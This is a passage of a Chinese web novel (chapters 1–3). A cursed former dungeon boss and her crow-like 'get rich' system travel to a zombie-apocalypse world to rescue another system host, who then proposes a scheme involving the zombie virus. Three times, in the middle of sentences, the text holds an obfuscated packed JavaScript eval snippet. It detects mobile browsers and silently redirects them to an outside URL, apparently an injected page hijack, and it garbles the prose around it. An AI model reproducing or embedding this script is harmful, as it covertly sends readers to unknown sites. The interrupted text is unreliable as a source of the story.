《失业反派再就业指南》 1. 雨天和乌鸦 “我恨你。”乌鸦说。 “对不起。”钱雨青秒答。 这样的对话在三天内已经重复了一百次。 城市的夜空看不到星星,钱雨青站在附近最高的楼顶,四周的景色一览无余。 身穿立领风衣与长靴的高挑剪影双手插兜,仰望着夜空,风拂过披肩的直发。 她是个会让人联想到夜晚和暴雨的女人,有一张石膏像般精雕细琢、线条端正深刻的脸。 然而,她给任何人的第一印象都绝不是“美”,而是死气沉沉的阴郁和苍白。无法装饰过客的美梦,反而像潜藏在噩梦深处的鬼影。 不过此刻,她脸上的心虚和装傻充愣很好地弥补了这一点。 “我的任务从来没有失败过,”乌鸦喃喃,“直到遇见你!” 按常理来说,像钱雨青这样专注做无限流副本boss两百年的人算是硬核手艺人,就算因为得罪上司而失业,现在被迫转行,也绝对不该赚不到钱才对。 但该说不说,世事无常。 来到现实世界后,钱雨青结合自己拥有的专业技能,第一个想到的,也是最简单的工作,就是走玄学大师的路子,帮人驱鬼、看风水。 这些活儿她可熟了,一天培训班都不用上就能一键上岗。 虽然她之前驱鬼不是驱赶的驱而是驱使的驱,布风水也不是为了什么聚财旺家而是煞人缚魂,但总之原理是差不多的。 所谓一路通路路通,不用太较真这个。 工作一开始很顺利,钱雨青迅速做完几个小单子,名声刚有点起色,外地一个大老板就找上门来。 本来像钱雨青这样的小虾米还入不了这级别有钱人的眼,但耐不住时机来得巧。 几天前,钱雨青帮一个客户解决了一只跟进家的小鬼,刚好大老板之前找的大师铩羽而归,正是走投无路之时。 因此,当他听说手下有人好像请到个真有本事的,想着死马当活马医,立马要了电话跨省来请人。 解决问题倒是简单。 毕竟时代早就变了,道上很多有真本事的人都吃了公粮,封建迷信产物那是一波接着一波的绞杀。 现在还能在现世大摇大摆晃荡,欺负普通人的鬼,多半是漏网的臭鱼烂虾。 钱雨青分半只耳朵听雇主絮叨,把老板提供的记录一翻: 此鬼折腾大半年都带不走一对八九十的老头老太太,下手再慢点老人家搞不好都要寿终正寝了,效率不如街边泥头车一颗螺丝钉。 老板着急上火,主要还是因为它碍人财运,搅得家里生意时常在某个环节掉点小链子,害得他为了补救,只能东奔西跑,不得安宁。 不伤人,气死人。 开车去外地四小时,在老板家附近住豪华酒店,用调查当借口旅游三天。 驱鬼一小时,其中两分钟干正事,剩下五十八分钟在假装和鬼搏斗,主要是为了向老板展示她的努力。 这招好用得很,只要她表现得足够辛苦,老板们总是很愿意多给她再包个大红包的。 如她所想,一切都很顺利。做完委托,钱雨青走了。 终于解决了问题的雇主很高兴,好几天都在四处和人宣传她的本事,也算仁义。 乍一看皆大欢喜,结果又过了没几天,雇主死全家了。 这事闹得不小,主要是死者在当地本就地位不低,前几天还在不遗余力地推荐某“风水大师”,谁知转眼竟出了这等破家惨事。 于是,谣言很快从她不懂装懂,惹怒厉鬼害死人,一路阴谋论到老板全家都是特殊命格,她拿老板全家炼十全大补丸吃。 前一个还算正常思路,后一个纯粹是做梦梦见的。 糟糕,在玄学这一行,“做梦梦见”居然真的能算得上正经理由诶!这找谁说理去。 当然,子不语怪力乱神,当地警方最后给出的调查结果是老板酒驾,一脚油门踩阴沟里翻下山,全家整齐完蛋。 奈何道上没有人信。 一开始连钱雨青自己都不信,亲自跑过去查。 她从老板家别墅查到老板公司,又从酒店庄园查到盘山公路,还自费花大钱买了超贵材料寻迹通灵,因为要得急,还被该死的卖家狠割了一笔。 查来查去,结果还真是酒驾引起的车祸,纯酒精不掺鬼。 说得更详细一点,老板解决纠缠他家许久的死鬼后运势回升,诸事皆顺,顿时得意忘形,遂喝酒上头,导致出事。 反正这事全程都归基础科学管,和灵异事件有0个关联。 但不管真相如何,还是那句话:巧合成这样,根本没有人信。 玄学风水的圈子小,人脉大过天,圈内人个个消息比村口的大爷大妈灵通,猎奇八卦跟着流言野火似的疯传,量大管饱到能新编出一部《聊斋志异》。 这事故一出,钱雨青的名声和老板一样死得不能再死,连刚谈好的新生意都一并吹了。 能信这套的有钱人没哪个胆子不小不惜命的,都是宁可信其有不可信其无,管你冤不冤枉,先离远点再说。 众所周知,灵异传闻到了半懂不懂的人耳朵里,那就相当于是比法院宣判都确凿的铁前科,想翻身还是等下辈子吧。 玩玄学出师未捷身先死,好在之前赚来的钱款还有剩。 钱雨青酒店蹲蘑菇两天,痛定思痛,准备在网上写灵异小说赚钱。 现在网上什么灵异小说无限流刚巧还挺火的,她可是正儿八经boss出身,只要随便掏点干货,不得迷倒万千读者? 第二天钱雨青便提回来一台二手笔记本,恭恭敬敬地摆在桌上。左手边放一杯饮料,右手边放几罐小零食,还不忘在腰后面垫一块抱枕。 好,一切准备就绪! 她确认似的扭头看窗外,窗外阳光正好,天空碧蓝如洗,调皮的白云点缀其间,行人熙熙攘攘,脸上挂着热情洋溢的微笑。 啊,好句、好句。这就是天赋怪吧! 调整完状态,钱雨青露出志在必得的微笑打开word文档,开始调整字体,调整字号,调整行间距,缓缓敲下两个大字:大纲。 然后,她喝了两口饮料,去了趟厕所,刷了会儿手机,觉得这样不行,于是又站起来走了两圈,活动腰腿。 嗯,就快有灵感了,奖励自己吃两块零食。 她打了两行字,又觉得写出来的东西令人不太满意,苦大仇深地盯了屏幕半晌,来来回回地修修改改,终于推敲好了合适的字眼,思路又觉卡顿,于是她再次摸出手机寻找灵感…… 等再度惊醒过来的时候,窗外已是夕阳西下。 一看文档,带标点符号共400字。 钱雨青沉默两秒,随即自我开解:这可是她人生第一次写小说,之前没有经验,卡文是必然的。 啊,对了。 酒店自带的椅子一点都不好用,坐了一天腰酸背疼,严重妨碍了她的写作效率。 今晚买把新椅子吧,这是必要的支出。 总之,在天赋怪前boss一番拼尽全力之下,暴富系统在便利店门口捡到了正在嚼饭团的她。 乌鸦红宝石一般的双眼注视着眼前的黑发女人。 “我想要钱。”钱雨青神色平静。 毫无疑问,她很落魄,但却不显得局促窘迫。 暴富系统自诩眼力超群,一个人的荣华富贵与落魄潦倒都只是一时,更重要的是辨识人的本质。 火眼金睛的系统用它的工资条发誓,眼前这个人绝非泛泛之辈。 “赚钱对我来说很简单,”乌鸦歪头,“我可以教你如何做,但不会直接给你钱。你相信我吗?” “这话该我说才对,”钱雨青莞尔一笑,“你相信我吗?” 系统用它的工资条发誓,这几个月它实在是相信到力竭了。 钱雨青说因为这样那样的某些原因,她不能做本职工作,失去了最大的优势。 “没关系,也不是所有人毕业后都会一直做和专业有关的工作,”乌鸦不以为意,在栏杆上跳来跳去,“你是哪个学校哪个专业毕业的?硕士还是博士?” 钱雨青沉默地看着它。 “看我干什么,你是本科生?” 钱雨青沉默地看着它。 “专科?” 钱雨青沉默地看着它。 “……高中文凭,还是初中?总不能九年义务教育都没学完吧?” 钱雨青说:“考过科举。” 乌鸦沉默了很长一段时间,钱雨青怀疑它的呼吸停了几秒。 “也、也可以。这算是古典文学,还是历史研究……?至少文言文很熟练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470837|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,”乌鸦强自镇定,突然想到另一个问题,“你还记得多少?” 钱雨青轻咳一声:“用进废退啊搭档。新时代都到来多少年了,我用英语和法语都比用文言文流利一点。” 这就是一点都不记得的意思,不代表她的英语法语就很流利。 “不过阅读是完全没问题的。”她看着乌鸦的脸色,立刻补充。 乌鸦的脸色并没有好转:“算了,我们换个方向,你目前最擅长的工作是什么?” 钱雨青把“折磨同类”四个字咽回去,老老实实答:“玄学法术,风水堪舆。西方魔法和炼金术也会一点,还有,会做一些小手工艺品。” “哈哈,小手工艺品,”乌鸦的声调毫无起伏,“您是指画黄符吗?” “会画,魔法阵也会,还有给棺材雕花,”钱雨青挨个数,“刻巫蛊娃娃也会。不是国外那啥巫毒哦,是汉武帝当时那种。” “好的,如果以后别人问你,你就说自己是民俗学者兼非物质文化遗产传承人,但具体内容就别说了,”乌鸦平静道,“过去的就让它过去吧,你以后想做什么工作?” “目前正在学习写作,有望成为新锐作家,日后版税千万。” “这也不错啊,不失为一个方向。目前有开始写吗?” 钱雨青把这半个月写的两万字点开给乌鸦看。 乌鸦伸头凑过去认真看完,沉默半晌,缓缓点头:“那你继续努力。我们明天去夜市摆地摊怎么样?” 钱雨青摸摸下巴:“我倒是无所谓,但大家可能不太想接近晚上的我啊。” 事实证明,她说得对。并且,她每一次都说得对。 不仅是摆地摊,乌鸦给出的每一个看似合理的出路,最终都会因为各种匪夷所思的意外失败。就算一时顺利,也会很快赔个底掉。 它苦思冥想,不知道自己的计划到底错在哪里。 直到三天前,乌鸦才从钱雨青那得知一个雷霆的消息,她的财运被前上司主神诅咒了——诅咒她永远赚不到钱。 “我恨你。”乌鸦说。 “对不起。”钱雨青秒答。 这样的对话在三天内已经重复了一百零一次。 “赚不到钱就完不成任务,完不成任务就没办法解绑,最终我因为业绩爆炸被解雇,和宿主一起饿死街头、生随死殉……” 钱雨青清了清嗓子,打断系统的滑坡:“饿死不至于,我们不是还有馒头吃嘛。” “是啊,今天是你吃馒头的第六个月,我跟着你吃馒头的第三个月,”乌鸦神情恍惚,“好奇怪啊,不知道为什么,我心中对馒头的痛恨正逐渐压过对死亡的恐惧。” 现在他俩逢饭点必看吃播。一边啃馒头一边幻想食物的色香味,眼看着就要妄想症大爆发了。 面对指责,钱雨青装作很忙地梳了梳头发。 系统抬起翅膀作话筒状:“亲爱的钱雨青小姐,请允许鄙人采访一下您。您当初是怎么在明知自己被主神诅咒的情况下,还答应成为鄙人的宿主的?” 要不是反复查证后确定遇见钱雨青的确只是它自己运气差,它还以为有红眼病同事在背地里害它。 钱雨青嗫嚅:“我当时以为你可以和诅咒对冲一下。其实,如果当时你没出现的话,我已经准备去实行一些过激的计划了。” “什么计划,抓路人吃肉?” “你刚才是不是说了什么很可怕的东西,”钱雨青抽抽嘴角,“我只是想杀回主神空间,夺了狗上司的鸟位……” “有把握吗?”系统一本正经地问。 钱雨青老实道:“有的话失业第一天我就动手了,哪能窝囊到现在。” 一人一鸟再度沉默,对视良久。 乌鸦闭上眼,又睁开。 这三天以来,钱雨青总能看到它毛茸茸的脸上露出某种烟雾般摇摆的犹豫,但现在,钢铁般的决绝正在它的红色眼睛中压缩成型:“好吧,事情不能总卡在这,我接受你的提议。在这个世界赚不到钱,那就去别的位面试试好了。” 钱雨青笑起来,冲散了她的五官自带的忧郁。 她抱起乌鸦,轻巧往楼下一跳,声音散在风中:“作为庆祝,我们今晚吃方便面吧?你吃里面的红烧牛肉粒。” 乌鸦的声音染上真实的喜悦:“好耶!” 2. 末日与丧尸与新工作1 去异世界是场说走就走的偷渡。 “是我的好朋友逆袭系统给的坐标。它的任务出了大岔子,现在既不敢跟宿主说话,也不敢跟上司汇报。我们去赚它一笔救援费。” 肥墩墩的乌鸦蹲在钱雨青头顶,出于某些其实很明显的愤恨,这几天它分外钟爱这个位置。 要不是钱雨青的工作环境对体力要求甚高,平均每10天就要对复数个随机人类展开他们死她活的追逐战,身体强度堪比盾构机,脖子迟早要被没自觉的肥鸟压出病来。 “你确定你们是好朋友?” 乌鸦漠然:“感情是一回事,工作是另一回事。要是能无条件为朋友两肋插刀,我当初该去做冤大头系统。” 它当初能在部门干到业绩第一靠的难道是和宿主手拉手做朋友吗?不!明明是精挑细选和冷酷无情。 它向来喜欢挑选有上进心有毅力、头脑清醒思维灵活,只是因为种种原因运气欠佳的宿主,还会在签约前好声好气地商量,从来不强迫人。 在别的系统早上九点还在哭着喊着给宿主们当保姆闹钟的时候,它的宿主们凌晨四点就被梦想叫醒了,工作效率堪称核动力驴。 在它的指导下,前宿主们一个个能力过硬、脱胎换骨,没了系统支持也不会垮,回访好评率100%。 然而,千算万算,千防万防,暴富系统也没想到,一个能完美符合它宿主要求的人,“运气欠佳”能欠佳到这地步。 钱雨青已经脱离倒霉的范畴,进入纯邪门的领域了。最后说是因为诅咒,它反而好受一点,毕竟这是来自高维力量的碾压,不是她们自身的能力问题。 虽然现在还是成了冤大头,三天破防一百二十五次,每天唯一能喝的汤就是心灵鸡汤。 钱雨青感觉有鸟在暗戳戳点自己,于是装聋作哑,望天看地。 吃完早餐,貌合神离的人鸟拍档拐入偏僻的无人小巷,从另一个巷口再出现时,面前的城市已然变换成陌生的模样。 虚弱的血红太阳像一颗将死的、徒劳搏动的心脏,失温的光芒顺着摩天大楼的侧脸眼泪般蜿蜒流下,无法冲开裹尸布般沉默的阴霾。 无穷的灰烬、四散的火焰、绵延的废墟。翻倒的车辆、可疑的血迹、残损的遗骸。砖瓦的缝隙间钻出顽强的青苔与野草,几只麻雀扑簌簌飞过。 钱雨青踩着一地碎玻璃拐过街角。 仍然穿着西装三件套,面色青黑,大半张脸都烂得融化了的几只丧尸瘸着腿,大摇大摆路过,视路边活蹦乱跳的新鲜女人为无物。 “不是副本……”钱雨青抬起脸作出嗅闻的动作,“末日世界?你的朋友是末日逆袭系统?” 乌鸦说:“这就是问题所在了。它和宿主在三百米外的超市仓库里,和其他五个人类待在一起。” 像是有谁在脑内展开了一卷地图,通向超市的路异样地清晰起来。钱雨青眼神一闪,皱了皱眉:“以后不许这样,说话就够了。” “好,抱歉,”乌鸦从善如流,收回指引,“直走,下个路口往右拐。” “收到。”钱雨青伸了个懒腰,从虚空中抽出一把通体漆黑的障刀。 越往超市的方向走,聚集的丧尸就越多。暴力平推是每一个拥有足够暴力的人的舒适区,钱雨青一路走一路砍,没几分钟就清理到了仓库门前。 她一手提着还在不断滴血的刀,“哐哐哐”地大力拍门,发出一连串诡谲的尖利笑声:“沈修明?沈修明同学?你的快递到啦~小兔子在家吗?” 乌鸦叹气:“别在这时候犯职业病啊。” 没听到里面的人都要尖叫到声嘶力竭了吗。 钱雨青的听力非常好,很轻易就听清了里面兵荒马乱的争吵。 一个强自镇定的男声说:“别害怕,是我认识的人——” “你认识个鬼!”另一个火爆的粗犷男声打断道,“H市失陷两个月,要来的早来了,能走的早走了。信号全断的情况下,你拿什么叫的人?脑电波吗?” “但是……” 一道清亮的女声跟着表达了反对意见:“超市的位置靠近市中心,处于丧尸潮的腹地,连S级异能者独自前来都有困难。你们听,这么久了,外面有打斗的声音吗?” 还在颤抖的嘶哑女声问:“你是说外面那个人是高阶丧尸?!现在的丧尸已经进化到这种地步了吗?” “那个女人……呃,女尸的破绽还是很大的。她说起话来语调阴得像鬼,还特别兴奋,生怕别人不知道她有问题似的,”仍带着哭腔的男声立刻抬高声音,将矛头指向最初说话的人,“所以,你是怎么认识她的?你在帮她吗?!” 在仓库困守半月,随着食物的减少,人们的情绪越来越焦躁,人与人之间的矛盾随之加倍尖锐。 “我、你、我……” “现在不是说这个的时候……” “啧,又吵。” “小沈应该只是被骗了,大家别激动……” “都安静!”最后一道低沉而冷静的女声放大音量,“那个人没再出声了。” 其他幸存者们的声音低下去,哭腔男吸了吸鼻涕:“她走了?” “没有哦。”钱雨青说。 她站在忍饥挨饿半月,身材仍旧肥硕的男人身后,距离极近,悄无声息。 苍白又阴郁的半张脸仍隐在阴影之中,空茫的眼睛睁得大大的,说话时吹出的气流擦过对方的几根汗毛,也掀飞了他仅剩的一丝胆气。 仓库内寂静一瞬,一瞬之后,此起彼伏的尖叫声开始刺杀在场所有人的耳膜。 面前的男人触电般飞弹出去,□□晕开一层又一层深色;声音尖叫到沙哑的女人四肢并用,连滚带爬地逃远了。 坚冰和两颗子弹同时袭来,钱雨青往旁边一跳,从容避开两个女人和一个男人失了章法的慌乱攻击,一手搭上脸色僵硬程度和惨白程度都无限逼近尸体的沈修明的肩膀:“老板,你怎么只是看着啊?” 沈修明不语,两眼发直,看起来走了已经有一会儿了。 钱雨青的新老板看起来十分年青,还像是大学生的年纪,右颊旁有颗小痣,穿着一套一看便知昂贵的西装。 他戴着的半框眼镜已经歪了,发型也凌乱,手长腿长,细条条的,像一张从某本专业书里撕下来的,写满高深定理的薄纸。气质看着很聪明很精英,但也一看就跟皮糙肉厚和能打离得很远。 只是一句话的功夫,男人和女人一左一右地封堵了钱雨青的去路,两把武器对准她的后背,剪了一头发尾参差不齐的短发的女人站在她的面前,双手张开,再次威慑地凝出寒冰:“你究竟是什么东西?” 钱雨青面无表情地歪头比了个剪刀手:“如你所见,是个人类。” 女人像是听到了天大的笑话,冷讥道:“人类?” 活人和丧尸的区别很大,到了能觉醒理智的等级,眼瞳都是显眼的血红色,这是乌鸦刚刚告诉她的情报。女人这样反问,就说明她其实没有见过高阶丧尸。 “如假包换,”钱雨青人也吓过了,不耐烦把受惊炸窝的小兔子们哄好,又拍拍沈修明的肩,“老板,你怎么说?” 沈修明脸颊抽搐着,眼球在紧闭的眼皮子下剧烈颤动,钱雨青一看就知道他在脑海里和系统对吼:“钱女士,请您稍等。林姐,她真是我朋友的朋友……的朋友,一个很强大的异能者,专程来救我的。” 钱雨青点头:“我们有特殊的联络方法。” 这可不是假话,用系统就可以,只是平时系统们不愿意这样作弊罢了。 “所以王哥和刘姐也把武器放下吧,”有人撑腰壮胆,沈修明迅速恢复了冷静,声音都变大了一点,“钱姐的实力大家都看见了,她想杀我们是很轻松的事,但她没有。这不就已经说明了一切吗?” 钱雨青点头点头。 “已经半个月了,这里绝对不会再有别的救援队来了。就算仓库里的物资再多,大家也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470838|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能一直在这里困着,趁机一起走吧?” 钱雨青点头点头点头。 有着话语权的三人面面相觑,最终说服他们的,仍然是神秘女人出格的实力。 他们没办法凭借自己的实力突围。跟着陌生人走是在赌,而留下来不仅是赌,还更绝望。 概率和概率之间亦有差别,哪怕钱雨青真有问题,只要离开丧尸最密集的商场,他们分头行动,未必全部逃不掉。 见小朋友们下定决心,钱雨青无视身后倒吸凉气的声音,反手轻松推开了仓库的大门。 外面已沦为血与肉的腥臭地狱。她并不回头,再次抽刀,带着沈修明一马当先,顺着早已停运的扶梯往下走。 到了地下停车场,她在三分钟以内就找到一辆尚且能开的车,三两下捅开车门,打着火,迫不及待地把五个碍事的赶上车,“砰”地一下甩上门。 “搞定,”她拍拍手,轻松地说,“这部分是额外工作,要加钱哦,老板。” 沈修明欲言又止。其实他本想送佛送到西,将这些人送到H市边缘,离Y市更近的地方去的。但……他只是沉默地点点头,接受了钱雨青的安排。 两人顺着出口往地上走,乌鸦憋了几分钟的气,终于还是没忍住:“你怎么没拿点吃的走?” 它都看见了,其实所有人,包括钱雨青自己,都是想多拿点的! 其他人倒是时刻准备着离开,全都收拾好了行李,包裹一卷就能走,加上个个都怕那个实力高强立场不明的女人抽风反悔,谁都不敢提出异议。只有钱雨青可是真的一粒米都没拿啊! 好歹满打满算相处三个月,宿主德行唯系统知。不就是某人手一快推开了门,为了耍帅撑住神秘高手的气场,非要嘴角带笑,留下潇洒的背影离去吗! 明明昨晚还因为一包方便面和它吵架,为了多喝一口面汤表情狰狞得要命。 勤俭持家的系统可没有教过败家宿主这样小牌大耍啊! 钱雨青清了清嗓子,扭头看沈修明:“老板,你想回去多拿点吃的吗?” “……钱女士您不必这样,”沈修明用一万分诚恳的语气说,“关于您的事,我这边的系统都已经告诉我了,绝对不会少了您的报酬的。” “那你别叫我女士,”钱雨青竖起手指,“也别叫姐,听着感觉后背怪刺挠的。像朋友那样叫得随便点。” 二十分钟后,两人坐在街边原本摆在某咖啡店门口的两张藤椅上,钱雨青和乌鸦埋头苦吃久违的速食大餐,吃相大概与漂流二十年回归人类社会的鲁滨逊和星期五仿佛。 人类针对味蕾研发的精华合成物击垮了两个在城市中流浪的可悲原始生物。 而沈修明坐在一旁,有一搭没一搭地啃着蛋糕卷,双眼痴迷地望着久违的天空。 直到一人一鸟吃东西的速度逐渐放缓,钱雨青慢吞吞抬起头,他才彬彬有礼地说:“雨青,救援任务已经结束了,你和乌鸦先生之后有什么打算?” “没,多薅点物资就回家吧。”钱雨青之前还真没仔细想过这个。 她们俩到这儿来本来就是为了救急的。虽然乌鸦说得好像很冷酷,但偷渡异世界哪能没有风险,到底一半是交易,一半是人情。 二来末日世界的经济都已经超越贝壳货币,倒退到以物换物的山顶洞人阶段了,哪还有正经的钱能挣,至多是在附近的奢侈品店里抠几块宝石带走。 况且回去之后如何出手也是个问题。依前三个月的经验看,这么高的金额,指不定能招来什么天大的横祸。 闻言,沈修明的双手放在身前堆成塔状,上身微微前倾,笑容真诚了许多:“这样的话……我这里有一个小小的、关于合作的提议,也许对解决您的困境有帮助。您看如何呢?” 此时的沈修明身上散发出一种强烈到耀目的自信,钱雨青还是第一次见到这个状态的他,好奇心立刻被挑了起来。 她也露出笑容,回应道:“愿闻其详。” 3. 末日与丧尸与新工作2 “我想要掌控这个世界。” 沈修明第一句话就石破天惊。 钱雨青和乌鸦双双战术性后仰:“一上来就玩这么大?” “我说的不是权力,”沈修明对她们的反应早有预料,摇头否认,“系统之前说,其实三年前,我刚来到这个世界时,剧情根本就没有向末日发展的先兆。” 不同世界命运线的坚固程度并不一样。 有像钱雨青那样,怎么挣扎都难以改变惯性,只能曲线救钱的世界;也有像沈修明这样,蝴蝶一扇翅膀,大洋彼岸就要海啸的世界。 “一切听从主神的意愿,被允许的反抗才能存在……”沈修明直直看向钱雨青的双眼,“关于这一点,想必您也深有体会吧?” 钱雨青微妙的笑容像是长在了脸上,让人难以看清她真实的情绪。 人类是习惯于撒谎与角色扮演的物种,一生只会在两个时刻纯然地袒露灵魂的本性。一次是诞生之时,一次是身死之时。 作为无限流副本的元老BOSS之一,她见不到前者,却看惯了后者。 懦弱的、英勇的,哭着的、笑着的,燃烧的、冷却的……她早已遗忘的、仍然还记得的。 不止玩家们会为了一线生机而绞尽脑汁,看似游刃有余的BOSS们也同样如此。在无限世界这片非自然的狩猎场里,猎人与猎物绝非固定的角色,唯有弱肉强食是永恒的真理。 相互追逐,相互撕咬,比副本BOSS弱小的玩家,比玩家弱小的副本BOSS,被吃掉也是理所应当。 但偶尔也有例外。 她突然想起那个多年前害她翻车,差点死翘翘的可恶玩家,接着又想起那个被主神特殊关照,叫她意思意思就赶紧放人的讨厌玩家。 死关系户现在复活没啊?复活了的话希望人有事,没复活的话希望加大力度。 “略知一二。”钱雨青答。 叛逆的话语被小心地藏在舌下,她知道沈修明真正想说的话是——这个世界不需要神。 但现在谈论这个还太早了。 “我是出车祸死掉后,为了活下去才和系统签约,来到这个世界的,”沈修明轻描淡写地提起自己的来历,“身份是本地一个不学无术的豪门少爷,然后告诉我目标是逆袭。” “唔,等等,”钱雨青发现了不对,“你的异能是什么?” “没有异能,”沈修明平静道,“我的系统是都市逆袭系统。” 钱雨青看乌鸦,乌鸦歪头看她:“这就是问题所在了。” “系统说,做豪门,最重要的就是有钱花。于是每天都发一大笔钱,要求我花出去,打脸别人……” 钱雨青眼睛都瞪圆了,再次“唰”地转头看乌鸦,眼中充满了不敢置信和谴责。 看看别统,再看看你.jpg 乌鸦郁闷又委屈:“干嘛。劳动最光荣懂不懂啊,系统再厉害能有你自己厉害可靠吗?更何况来历不明的钱,拿着都不觉得可疑吗?” 现在小猫小狗都知道不能随便吃路边的火腿肠了,万一被坏蛋毒死咋办。 钱雨青幽幽道:“我们现在讨论的好像就是个可疑的系统。” 沈修明截断走偏的话题:“钱多钱少现在都无所谓了。反正末日一来,纸币全成废纸,银行存款直接报废,系统半点指望不上,除了带来你们……等一下,系统让我和你们说,它是靠炒期货和用黑客技术在网络上接单赚的钱,不是来历不明的线……噢,原来你是自己打工赚来的钱,有点感动了。” “虽然之前提过是你的朋友时我就多少有点预料,”钱雨青说,“你的喜好太好懂了吧?” 乌鸦回:“总觉得你误会了什么。” “总之!”沈修明加强语气,“豪门逆袭的片场是很挤的,全国每个经济繁荣的省市,什么X市Y市、A市B市,都可以各有各的豪门。反正主要角色很少出省,偶尔去国外也难碰上。但末日是全球性灾害,图层一下就被全覆盖了。”落得个白茫茫大地真干净。 钱雨青倒是不奇怪为什么豪门片场会突变末日片场。 主神的好处可不是白拿的,有时系统对主角说的什么“拯救世界”、“稳固世界线”可不是在开玩笑。 规则就是一个世界存在的具现,如果这个世界没有足够的力量抵抗其他规则的入侵,和其他世界融合苟延残喘都算是happyending,万一直接被吞噬,下场可就难说了。 “大概是审核没有通过,被主神判定缺少存在价值,干脆派了新的领主接手。” 沈修明一愣:“领主?” “天道、规则,‘神’,怎么叫都可以,就像主神也只是个大一点的领主罢了。”钱雨青解释道。 作为一个有神的世界,每一块土地都有它的主人。 从概念上来说,所谓的无限流副本正像是一块块聚合又相互隔离的小世界,而持有领地改造权限,编织规则的BOSS就是其中的领主。 领主们的水平和玩家一样参差不齐,有逻辑严谨、智商200的精英,也多得是不学无术的笨蛋,最大的倚仗就是一张突破下限的丑脸,靠半夜到处乱窜来刺激玩家。 所谓敌人弱就是我强,甚至有邪修干脆把副本背景设定成昆虫王国,玩家一进场就要面对密密麻麻、铺天盖地,还会爬人脚背的双马尾大蠊。于是玩家脑子一乱,本来能解决的问题也不能解决了,脑子一当机的功夫,当即完蛋团灭。 这招又歹毒又简单,越是低级的副本就越爱用,越是新手的玩家就中招越多,让爱偷懒的狗BOSS们捞薯条捞了个爽,赢了又赢。 结果某个可恶的玩家弄出了直接作用于精神的“恐怖画面弱化mod”,把血腥画面直接和谐成简笔画,鬼跳脸和谐成火柴人。 虽然最后这个mod被禁用,但刚刚推出时,整个无限副本世界都闹得腥风血雨。 几乎所有副本BOSS的业绩全部有所下滑,毕竟谁都会利用环境来渲染气氛,折磨玩家的神经。实力不够硬的低级BOSS更是被当猪宰,死了一大堆,最后没死的也全部被主神降级,成了其他高等副本里游荡的小喽啰,原本的地盘全被趁虚而入的大型玩家协会或者其他BOSS吞并。 现在无限世界有两部著名新规,《玩家等级划分与匹配法》、《副本BOSS等级定期审核法》,全是那个混乱时代的产物,后来其中的某些条款还被应用在了其他领域。 乌鸦打断钱雨青,艰难扯回话题:“也就是说,这里还有其他系统和宿主?” “有也无所谓,反正不是本地人就觉醒不了异能,”沈修明不以为意,“现在这个世界的‘主角’没有系统,是个土著女大学生,刚好就是我以前认识的同学。” 他原本冒着风险留在H市就是为了和主角接触,结果惨遭滑铁卢。 “不是本地人就没异能……不让臭外地的来要饭?” 沈修明装作没听见她促狭的发言:“虽然这辈子是个艺术生,但我以前是个兼修生物的化学博士。这几个月我想办法研究过丧尸的血肉,发现它们其实是死于过于剧烈的基因进化。所以蜕变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470839|201471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为高级丧尸后,理智回归身体的它们能够拥有异能,仍然保有生前的记忆,只是无法与原本身为人类的自己共情了。” 而异能者的觉醒则是灵魂被影响的另一种体现。像沈修明这样,换过壳子的外来者,在灵魂层面上与基因药剂缺乏共鸣,注定无法觉醒。 “所以,异能者与丧尸是并行的两种进化方向,一种代表灵魂,一种代表身体。”钱雨青秒懂。 “人类不会承认这一点的。”沈修明摇头。 这个回答可就微妙了。 “你要利用丧尸病毒?” “有何不可?如果一个死人能随便在异世界复活,一个世界可以莫名其妙陷入末日,我们眼前的一切又有什么意义?”沈修明的面容微微扭曲,视线再度刺人起来,“只要丧尸危机不解除,这个世界‘主角’的使命就不会结束……最重要的是,我需要力量。” “和我合作吧。黄金白银、珠玉宝石,还有食物,我能拿到的全都可以给你。” “既然你知道药剂的真相,那就该懂得,必须灵魂和身体全部进化才算臻于完美,这也应该是未来主角会走的方向。”钱雨青的表情冷了下来,看沈修明的目光带上了审视,“也许你不知道,我在这方面还挺保守的,不和灵魂非人的变质肉块合作。” “这点不劳费心,”沈修明疲惫地后仰,靠在椅背上,“我真正的身体,亲人,朋友,过去……一切都早已化灰,如果说我还有什么值得珍惜,那就只有这份灵魂了。如果我失败,就拜托你就杀掉我吧,报酬我的系统会结给你。” 钱雨青打量他半晌,一合双掌,笑道:“合作愉快。” 未来的计划敲定,狼狈为奸两人组火速收拾行李,便准备自驾游去R市一趟。 “最初泄漏病毒的公司总部就在R市,”沈修明坐在越野车的副驾驶座上,用铅笔在地图上圈出目的地,“我们去实验室拿原液,应该可以制备更安全的进化药剂。” 乌鸦用嘴叼着唱片,不厌其烦地跳来跳去,一张张换着BGM,鼓点声轰隆轰隆地响。 